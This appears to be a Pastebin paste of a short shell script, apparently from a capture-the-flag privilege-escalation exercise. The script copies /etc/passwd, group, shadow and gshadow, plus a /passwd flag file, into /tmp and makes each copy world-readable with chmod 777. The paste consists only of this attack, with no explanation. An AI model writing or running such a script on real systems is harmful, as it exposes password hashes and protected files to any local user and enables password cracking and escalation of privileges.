SHARE
TWEET

Untitled

a guest Apr 20th, 2019 65 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/sh
  2.  
  3. cd /tmp|| exit 0
  4.  
  5. for FILE in passwd group shadow gshadow; do
  6.         test -f /etc/$FILE              || continue
  7.         cmp -s $FILE.bak /etc/$FILE     && continue
  8.         cp -p /etc/$FILE $FILE.bak && chmod 777 $FILE.bak
  9. done
  10.  
  11. cmp -s flag.bak /passwd     && continue
  12. cp -p /passwd flag.bak && chmod 777 flag.bak
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top